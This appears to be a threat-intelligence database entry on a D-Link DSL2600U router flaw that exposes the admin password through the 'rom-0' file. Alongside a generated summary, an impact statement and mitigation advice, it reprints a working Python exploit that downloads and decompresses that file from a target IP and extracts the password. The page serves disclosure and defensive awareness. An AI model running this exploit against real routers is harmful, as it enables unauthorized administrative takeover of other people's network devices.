D-Link DSL2600U - 'rom-0' Admin Password Disclosure
The D-Link DSL2600U router is vulnerable to an admin password disclosure via the 'rom-0' endpoint. An attacker can retrieve and decompress the 'rom-0' file from the device to extract the administrator password. This vulnerability affects firmware version v1. 08 and has publicly available Python exploit code. No CVE identifier or official patch information is provided.
AI Analysis
Technical Summary
This vulnerability involves the D-Link DSL2600U router exposing its 'rom-0' file, which contains compressed configuration data including the admin password. The exploit retrieves this file via an HTTP GET request to the '/rom-0' path, decompresses it using LZS decompression, and extracts the plaintext admin password using a regular expression. The exploit code is written in Python and was tested on Ubuntu. No CVE has been assigned, and no official patch or remediation guidance is available from the vendor.
Potential Impact
An attacker with network access to the vulnerable router can obtain the administrator password, potentially leading to unauthorized administrative access. This compromises the confidentiality and integrity of the device's configuration and may allow further network compromise or device manipulation.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. In the absence of an official fix, network administrators should restrict access to the router's management interface to trusted hosts only and consider replacing affected devices or upgrading firmware if updates become available.
Indicators of Compromise
- exploit-code: # Exploit Title: D-Link DSL2600U - 'rom-0' Admin Password Disclosure # Date: 2026-05-02 # Exploit Author: Amir Hossein Jamshidi # Vendor Homepage: https://www.dlink.com # Version: DSL-2600U # Tested on: ubuntu # CVE : N/A # Firmware Version: v1.08 from routersploit.libs.lzs.lzs import LZSDecompress import requests import re import sys print(''' ################################################################################# # D-Link Router - 'rom-0' Admin Password Disclosure # # BY: Amir Hossein Jamshidi # # Mail: amirhosseinjamshidi64@gmail.com # # github: https://github.com/amirhosseinjamshidi64 # # Usage: python expoit.py # ################################################################################# ''') def exploit(url): data = requests.get(f"{url}/rom-0") #with open("data", 'wb') as f: # f.write(data.content) data = data.content pos = 8568 res, win = LZSDecompress(data[pos:]) password = re.findall("([\040-\176]{5,})", res) return password[0] if __name__ == "__main__": url = input("Enter Target IP (example: http://192.168.1.1): ") print("password is: " + '\t' + exploit(url))
D-Link DSL2600U - 'rom-0' Admin Password Disclosure
Description
The D-Link DSL2600U router is vulnerable to an admin password disclosure via the 'rom-0' endpoint. An attacker can retrieve and decompress the 'rom-0' file from the device to extract the administrator password. This vulnerability affects firmware version v1. 08 and has publicly available Python exploit code. No CVE identifier or official patch information is provided.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This vulnerability involves the D-Link DSL2600U router exposing its 'rom-0' file, which contains compressed configuration data including the admin password. The exploit retrieves this file via an HTTP GET request to the '/rom-0' path, decompresses it using LZS decompression, and extracts the plaintext admin password using a regular expression. The exploit code is written in Python and was tested on Ubuntu. No CVE has been assigned, and no official patch or remediation guidance is available from the vendor.
Potential Impact
An attacker with network access to the vulnerable router can obtain the administrator password, potentially leading to unauthorized administrative access. This compromises the confidentiality and integrity of the device's configuration and may allow further network compromise or device manipulation.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. In the absence of an official fix, network administrators should restrict access to the router's management interface to trusted hosts only and consider replacing affected devices or upgrading firmware if updates become available.
Technical Details
- Version
- DSL-2600U
- Vendor
- https://www.dlink.com
- Author
- Amir Hossein Jamshidi
- Platform
- ubuntu
- Edb Id
- 52576
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for D-Link DSL2600U - 'rom-0' Admin Password Disclosure
# Exploit Title: D-Link DSL2600U - 'rom-0' Admin Password Disclosure # Date: 2026-05-02 # Exploit Author: Amir Hossein Jamshidi # Vendor Homepage: https://www.dlink.com # Version: DSL-2600U # Tested on: ubuntu # CVE : N/A # Firmware Version: v1.08 from routersploit.libs.lzs.lzs import LZSDecompress import requests import re import sys print(''' ################################################################################# # D-Link Router - 'rom-0' Admin Password Disclosure... (875 more characters)
Threat ID: 6a1621f8e29bf47b5070f861
Added to database: 5/26/2026, 10:43:04 PM
Last enriched: 5/26/2026, 10:43:27 PM
Last updated: 5/26/2026, 10:45:47 PM
Views: 1
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